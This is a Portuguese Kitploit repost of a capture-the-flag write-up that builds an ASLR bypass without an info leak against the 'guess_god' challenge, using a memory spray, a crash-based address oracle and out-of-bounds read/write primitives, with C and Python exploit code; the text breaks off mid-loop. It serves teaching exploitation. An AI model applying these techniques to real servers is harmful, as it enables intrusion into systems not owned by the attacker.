Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
how-to-bypass-aslr-on-linux-x86_64 — ASLR bypass sem infoleak | Kitploit
Ferramentas/GitHubGitHub/nick0ve/how-to-bypass-aslr-on-linux-x86_64
ExploraçãoCTFAprendizado e EducaçãoExploração de Binários
GitHubnick0ve/how-to-bypass-aslr-on-linux-x86_64

how-to-bypass-aslr-on-linux-x86_64

ASLR bypass sem infoleak

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
167174há 4 anosRevisado pelo Kitploit
Compartilhar

Quebrando o ASLR de 64 bits no Linux x86-64

Neste artigo, vou discutir a aplicação da técnica descrita por Samuel Groß em sua Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass, para contornar o ASLR no Linux x86_64.

Para demonstrar isso, vou resolver um desafio pwnable do Buckeye CTF, o guess_god.

Vou tentar manter o conteúdo o mais amigável possível para iniciantes, então fique à vontade para pular qualquer seção se você se sentir confiante e quiser apenas ver o exploit.

0. Introdução


Eu não joguei o CTF, mas me interessei pelo desafio cerca de 2 horas antes do fim do CTF graças ao Guray00, que estava pedindo ajuda no discord do fibonhack sobre algumas artimanhas de criptografia.

Não consegui ajudá-lo, mas dei uma olhada nos desafios pwnable e pensei que seria bom entender o post do blog da P0 e, quem sabe, conseguir aquela recompensa.

1. ASLR e como contorná-lo

1.1 O que é ASLR?

Randomização do Layout do Espaço de Endereço (ASLR) é uma técnica de segurança de computadores que envolve posicionar aleatoriamente o endereço base de um executável e a posição das bibliotecas, heap e stack, no espaço de endereço de um processo.

1.2 ASLR no Linux

No Linux, você pode inspecionar os mapeamentos de um processo dado o seu pid através do procfs, lendo o arquivo /proc/<pid>/maps.

Se você é um processo e quer conhecer seus próprios mapeamentos de memória, pode ler /proc/self/maps.

Por exemplo, você pode tentar ler /proc/self/maps com cat:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap] 7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0 7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0 7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack] 7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar] 7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@kitploit:~
### Padrões de mapeamentos de memória

Se você fizer isso algumas vezes, poderá deduzir que:
* A base PIE do binário deve estar no intervalo 0x00005500_00000000-0x00005700_00000000, o que significa 2TB de endereços possíveis.
* O heap fica próximo ao binário.
* As bibliotecas ficam no intervalo 0x00007f00_00000000 - 0x00007fff_ffffffff, 1TB de endereços possíveis.
* A pilha fica \(na maioria das vezes\) no intervalo 0x00007ffc_00000000 - 0x00007fff_ffffffff, 16gb de endereços possíveis.
* O intervalo 0xffffffffff600000 - 0xffffffffff601000 está sempre mapeado; você pode ler [este artigo](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) se tiver curiosidade sobre o que é.

## 1.3 Como contornar o ASLR sem vazamento de informações

Vamos discutir o que você pode fazer para contornar o ASLR quando nenhum vazamento de informações é possível.

Esta é a minha tentativa de resumir o que aprendi lendo o post do blog do Saelo.

Para contornar o ASLR, você precisa de:
* Uma técnica de memory spraying, que permite mapear memória contígua de um determinado tamanho, em um determinado intervalo de endereços.
  
  Como ele diz, há duas maneiras de fazer isso:
  1. Ao abusar de um memory leak (não um vazamento de informações!), um bug no qual um bloco de memória é “esquecido” e nunca liberado, e ao acioná-lo várias vezes até que a quantidade desejada de memória tenha sido vazada.
  2. Ao encontrar e abusar de um “amplification gadget”: um pedaço de código que pega um bloco de dados existente e o copia, potencialmente várias vezes, permitindo assim que o atacante pulverize uma grande quantidade de memória enviando apenas um número relativamente pequeno de bytes.
* Um oráculo `isAddressMapped`, que, dado um endereço, diz se esse endereço está ou não mapeado.

### PoC de bypass de ASLR no Linux

Vamos tentar reproduzir o PoC do saelo para quebrar completamente o aslr no Linux.

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> PoC do saelo</i> <p/> <br/>

No Linux não é tão fácil, só é possível quebrar completamente o ASLR se você for capaz de alocar 16TB de memória.```C
#include <stdio.h>
#include <stdlib.h>

int main()
{
    // 64gb
    size_t size = 0x1000000000;

    // 16TB allocations
    for (int i = 0; i < 256; i++) {
        void *mem = malloc(size); // this ends up calling mmap
        if (!mem) {
            puts("Failed");
            return 1;
        }
        printf("%p\n", mem);
    }

    unsigned int *mem = (void*)0x7f0000000000ULL;
    *mem = 0x41414141;
    printf("R/W to %p: %x\n", mem, *mem);

    return 0;
}

Nota sobre alocação de memória da glibc

Das notas de man malloc:

  • Normalmente, malloc() aloca memória do heap e ajusta o tamanho do heap conforme necessário, usando sbrk(2). Ao alocar blocos de memória maiores que MMAP_THRESHOLD bytes, a implementação de malloc() da glibc aloca a memória como um mapeamento anônimo privado usando mmap(2). MMAP_THRESHOLD é 128 kB por padrão, mas pode ser ajustado usando mallopt(3). Alocações realizadas com mmap(2) não são afetadas pelo limite de recurso RLIMIT_DATA (veja getrlimit(2)).

Portanto, void *mem = malloc(size) acabará chamando mmap(size + malloc_metadata_size, ...)

Como as bibliotecas são mapeadas no processo por meio de mmap pelo ld, essas alocações acabarão perto das bibliotecas.

Truque de cruzar o limite

Se você olhar os endereços retornados por malloc, entenderá melhor o que está acontecendo. Dica: observe os bytes mais significativos.

memcruzou o limite de 16tb?
0x7fb03b55e010Não
0x7fa03b55d010Não
0x7f903b55c010Não
0x7f803b55b010Não
0x7f703b55a010Não
0x7f603b559010Não
0x7f503b558010Não
0x7f403b557010Não
0x7f303b556010Não
0x7f203b555010Não
0x7f103b554010Não
0x7f003b553010Não
0x7ef03b552010Sim
0x7ee03b551010Sim
0x7ed03b550010Sim
0x7ec03b54f010Sim

O PoC está explorando o fato de que, em algum momento, o byte mais significativo do endereço retornado muda de 7F para 7E e, como as alocações são contíguas, deve haver algo dentro desse intervalo. (Sim, estamos aplicando o teorema de Bolzano-Weirstress para resolver este problema!)

2 O desafio

Graças ao autor, o zip contém binários, código-fonte e dockerfile para reproduzir o mesmo ambiente do remoto.


2.1 Acesso inicial

Sempre é bom obter algum conhecimento sobre o ambiente; vamos percorrer os arquivos e fazer algumas anotações.

  • jail.cfg define algumas restrições; não vamos esquecer desses limites, pois eles podem atrapalhar o exploit: ```yaml time_limit: 300 cgroup_cpu_ms_per_sec: 100 cgroup_pids_max: 64 rlimit_fsize: 2048 rlimit_nofile: 2048 cgroup_mem_max: 1073741824 # 1GB
    root@kitploit:~
  • A partir do Dockerfile podemos aprender algumas coisas interessantes:
    1. Compilar e instalar o oatpp 1.2.5, talvez haja bugs úteis nesta versão específica?

      root@kitploit:~
      # Install oatpp
      RUN git clone https://github.com/oatpp/oatpp.git
      RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
      
    2. Ele compila o desafio do zero

      root@kitploit:~
      WORKDIR /home/ctf/challenge/src/
      RUN mkdir -p src/build && cd src/build && cmake .. && make
      RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /   home/  ctf/challenge/
      

      Isso pode ser um problema, então vamos copiar os binários distribuídos em vez disso.

      root@kitploit:~
      COPY bins/flag_server-exe /home/ctf/challenge/
      COPY bins/libkylezip.so /home/ctf/challenge/
      
  • E a última coisa, verifique as proteções dos binários fornecidos


    Legal, o libkylezip.so foi compilado com Partial RELRO, isso significa que a GOT é gravável, tenha isso em mente para quando quisermos obter execução de código.```bash

docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container

docker ps # list containers docker exec -it # exec COMMAND into the container

root@kitploit:~
After doing `docker-compose build` you can execute `docker-compose up` to start the container, and connect to the challenge with `nc 127.0.0.1 9000`
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/> 

# 3. Análise do código-fonte

Agora que temos algum conhecimento básico sobre o que devemos fazer para contornar o ASLR, vamos analisar o código-fonte, tendo em mente que queremos:
* uma forma de pulverizar memória em faixas conhecidas de memória
* um oráculo isAddrMapped

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> Pasta do código-fonte </i><p/> 

É principalmente código de cola para colocar um servidor web oatpp em funcionamento; na verdade, os arquivos importantes que vamos analisar são:
* src/controller/MyController.*
* kylezip/decompress.*

## 3.1 MyController.*

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/> 

Existem 3 endpoints:
* `/`
* `GET /files/{fileId}` -> Baixa um arquivo enviado anteriormente; se extract for true, extrai antes de baixá-lo.
* `POST /upload/{fileId}` -> Envia um arquivo dado um {fileId}.

E uma função implementada em `MyController.cpp````C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract) 

qual:

  • Defina to_open como {file_id} ou {file_id}.unkyle ```C std::ostringstream comp_fname; comp_fname << filename; if (extract) { // Want the un-kylezip-d version comp_fname << ".unkyle"; } auto to_open = comp_fname.str();

    root@kitploit:~
  • Se for a primeira vez que estamos solicitando a extração de {file_id}, então ele chama decompress nele, que gravará o arquivo descomprimido de {file_id} para {file_id}.unkyle. ```C int fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { if (!extract) return NULL;

    root@kitploit:~
    /* Need to create decompressed version of file
     * Kyle gave me a buggy library so we are going to fork
     * in case we crash the web server will still stay up.
     */
    pid_t p = fork();
    if (p == 0) {
      decompress(filename);
      exit(0);
    } else {
      waitpid(p, NULL, 0);
    }
    
    
    fd = open(to_open.c_str(), O_RDONLY);
    if (fd == -1) {
      return NULL;
    }
    

    }

    root@kitploit:~
  • No final, mmap o resultado na memória. ```C struct stat sb;

    if (fstat(fd, &sb) != 0) { return NULL; }

    /* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

Observações

  • fork() cria um novo processo duplicando o processo chamador; no momento de fork(), ambos os espaços de memória têm o mesmo conteúdo.

    Portanto, se conseguirmos transformar decompress() em um oráculo que:

    • Falha em endereços inválidos
    • Não falha em endereços válidos

    Poderíamos usar essa primitiva para inferir o espaço de memória do processo pai.

  • Há uma chamada a mmap no processo pai: ```C void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

se pudermos controlar sb.st_size, que é o tamanho do ficheiro descomprimido, poderíamos facilmente transformá-lo numa primitiva de memory spraying.

3.2 decompress.*

decompress()```C

int decompress(const char *fname)

root@kitploit:~
* Mapeia o arquivo de entrada para o endereço `0x42069000000`.
* Mapeia o arquivo de saída para o endereço `0x13371337000`.
* Chama do_decompress(), que conclui a descompressão.

O arquivo deve estar no formato:
| offset | nome | tipo | descrição |
| - | - | - | - | 
| +0h | magic | uint64 | um valor mágico, espera-se que seja 0x0123456789abcdef |
| +8h | filesize | uint64 | tamanho do arquivo descomprimido |

### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)

Você pode ver esta função como uma simples máquina virtual, que executa o bytecode apontado por in e escreve a saída no buffer apontado por out.

in aponta para o nosso {file_id}.

out aponta para {file_id.unkyle}.

Esta VM possui 4 opcodes:

  • 0 -> NOP

  • 1 -> STORE(u8 b)

    escreve b em out, incrementa out em 1.

    Implementação do opcode: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }

    root@kitploit:~
  • 2 -> SEEK(u64 off)

    defina out como out + off.

    out e off são valores de 64 bits, portanto out = out+off é equivalente a out = (out+off) % MAX_64BIT_VALUE, isso é chamado de estouro de inteiro e podemos explorar esse comportamento para alcançar qualquer valor de 64 bits. Exemplo: ```py M64 = (1<<64) # Maximum 64bit value def get_off(out: int, target: int): return (target-out) % M64

    We are at 0xffffffff, what can we add to reach 0?

    print ('{:#x}'.format(get_off(0xffffffff, 0)))

    Result = 0xffffffff00000001

    That's the same as doing this

    M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64

    print ('{:#x}'.format(get_off(0xffffffff, 0)))

    root@kitploit:~

Implementação do opcode: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }

root@kitploit:~
* 3 -> LOAD(off, size). 
Copie `size` bytes de `out - off` para `out`, incrementando `out` em 8.

Implementação do Opcode:  ```C
case 3: {
  // Copy some previously written bytes
  uint64_t off = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  uint64_t count = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  memcpy(out, out-off, count);
  out += count;
  break;
}

Não há verificação de limites em nenhuma das operações, o que nos dá 2 primitivas úteis:

  • Read What Where, abusando de SEEK+LOAD
  • Write What Where: abusando de SEEK+STORE

Usei este código para construir o bytecode:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1

class CompressedFile(): slots = ['cur', 'content', 'out']

root@kitploit:~
def __init__(self, filesize):
    self.cur = 16
    self.content = b''
    self.content += p64(0x0123456789abcdef) # magic
    self.content += p64(filesize) # file size
    self.out = OUT_ADDR

def nop(self):
    self.content += b'\x00'
    self.cur += 1

def write(self, b: bytes):
    assert len(b) == 1

    self.content += b'\x01' + b
    self.cur += 2
    self.out += 1

def seek(self, off):
    self.content += b'\x02'
    self.content += p64(off)
    self.cur += 9

def memcpy(self, off, count):
    # memcpy(out, out-off, count);
    self.content += b'\x03'
    self.content += p64(off)
    self.content += p64(count)
    self.cur += 17
root@kitploit:~
# 4. Interagindo com o binário

Antes de mergulhar na fase de exploração, é sempre bom construir algo que permita interagir facilmente com o binário, para evitar perder tempo.```py
import requests

def uploadFile(blob: bytes, fileid: int):
    assert (fileid < (1<<31) - 1)

    multipart_form_data = {
        'file': (f'payload_{fileid}', blob),
    }

    res = requests.post(
        f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
        files=multipart_form_data
    )

    return res

def getFile(fileid: int, extract="true"):
    res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
    return res

Inspecionar os mapeamentos de memória do desafio

Isso foi muito importante para mim ao tentar resolver o desafio: fiquei observando os mapeamentos de memória por bastante tempo.

Para fazer isso, você pode criar uma instância local do desafio e ler os mapas do processo após realizar algumas operações.


4.2 oráculo isAddrMapped

Temos uma primitiva read what where, então construir um oráculo isAddrMapped não é nada difícil.

Minha maneira de fazer isso foi montar este bytecode:

  • memcpy(out, targetAddress, 1)
  • write(b'A')

Se targetAddress não estiver mapeado, o programa filho falha com segfault no memcpy, dando-nos um arquivo descomprimido preenchido com bytes nulos.

Se targetAddress estiver mapeado, o arquivo descomprimido tem um b'\x41' como segundo byte.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)

root@kitploit:~
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')

uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41

return isMapped
root@kitploit:~
## 4.3 Primitiva de Memory Spray

Podemos controlar completamente o tamanho do arquivo descompactado e obtemos um mmap desse tamanho em [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/dist-guess-god/src/src/controller/MyController.cpp#L62). 

No meu exploit eu usei a função `isAddrMapped` e alterei o filelen.

Por exemplo, vamos tentar alocar um bloco contíguo de tamanho = 0x4000000 = 64mb```py
isAddrMapped(IN_ADDR, 0, 0x4000000)

Esse é o resultado:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...

root@kitploit:~
Se você tentar fazer de novo:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)

Esse é o resultado:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle

root@kitploit:~
Nice! Múltiplas alocações não terão lacunas.

## 4.4 Quanta memória pulverizar?

Como você pode ver [neste poc](#poc-of-aslr-bypass-on-linux), o tamanho ideal para a memória mapeada contígua seria de 16 TB.

Infelizmente, se você tentar alocar 16 TB de memória no servidor remoto, o mmap falhará, porque o [nsjail limita isso](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).

Depois de algumas tentativas e erros, descobri que consigo pulverizar cerca de 3840 MB de memória, com este código:```py
size =    0x000004000000
for i in range(0, 60):
    print ('.', end='')
    isAddrMapped(IN_ADDR, i, size)

os mapeamentos de memória resultantes serão algo assim:

Resultado do Memory Spray```

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps ... My spray: ... 7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle 7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle 7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle 7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle 7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle 7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle 7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle 7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle 7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle 7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle 7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle 7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle 7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle 7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle 7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle 7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle 7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle 7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle 7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle 7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle 7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle 7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle 7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle 7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle 7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle 7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle 7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle 7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle 7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle 7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle 7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle 7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle 7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle 7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle 7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle 7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle 7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle 7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle 7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle 7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle 7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle 7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle 7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle 7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle 7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle 7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle 7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle 7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle 7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle 7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0 7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0 7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle 7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle 7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle 7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle 7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle 7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle 7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle 7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle 7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle 7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle 7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0 7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0

... Libraries: ...

7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so

...

root@kitploit:~
Vamos focar nossa atenção nos endereços criados com o memory spraying. \(*.unkyle files \)

Podemos tentar aplicar o [truque de cruzamento de fronteira](#Boundary-cross-trick).

| mem | 4gb cruzamento de fronteira?
| - |-
| 7fe2dc000000 | Não
| 7fe2e0000000 | Não
| 7fe2e4000000 | Não
| 7fe2e8000000 | Não
| 7fe2ec000000 | Não
| 7fe2f0000000 | Não
| 7fe2f4000000 | Não
| 7fe2f8000000 | Não
| 7fe2fc000000 | Não
| 7fe300000000 | Sim
| 7fe304000000 | Sim
| 7fe308000000 | Sim
Ao explorar a mudança de 7fe2.. para 7fe3.., podemos varrer a memória com um passo de 0x100000000 = 4gb de memória.

## 4.5 Finalmente derrotando o ASLR 

Dado esse tamanho de passo, podemos varrer de `start=0x7f0000000000` até `end=0x800000000000` com apenas `end - start / size` = 256 consultas.```py
start = 0x7f0000000000
end = 0x800000000000 
step = 0x100000000 # 4gb

isMapped = False
j = 0xff
while isMapped == False:
    leakAddr = start + j*step
